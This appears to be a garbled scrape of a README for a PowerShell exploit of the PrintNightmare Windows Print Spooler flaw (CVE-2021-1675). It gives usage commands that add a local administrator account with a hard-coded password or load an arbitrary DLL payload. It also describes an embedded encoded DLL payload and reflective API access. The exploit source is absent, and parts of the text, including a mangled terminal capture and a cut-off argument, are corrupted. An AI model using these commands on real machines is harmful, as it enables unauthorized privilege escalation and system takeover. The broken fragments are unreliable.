

implementation in pure PowerShell, and we wanted to try our hand at refining and recrafting the exploit.

This PowerShell script performs local privilege escalation (LPE) with the PrintNightmare attack technique.

```
Windows PowerShell

Kindows PowerShell

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PS 2:\v cd (c!\v users\caleb\v users\cal
```

This has been tested on Windows Server 2016 and Windows Server 2019.

Usage

Add a new user to the local administrators group by default:

```
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd`:
Invoke-Nightmare -DriverName "Xerox" -NewUser ";
```

Supply a custom DLL payload, to do anything else you might like.

```
Import-Module .\cve-2021-1675.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your"
```

Details

PowerShell 99.0% Other 1.0%

- The LPE technique does not need to work with remote RPC or SMB, as it is only working with the functions of Print Spooler.
- This script embeds a Base64-encoded GZIPped payload for a custom DLL, that is patched according to your arguments, to easily add a new user to the local administrators group.
- This script embeds methods from PowerSploit/<u>PowerUp</u> to reflectively access the Win32 APIs.
- This method does not loop through all printer drivers to find the appropriate DLL path -- it simply grabs the first driver and determines the appropriate path.

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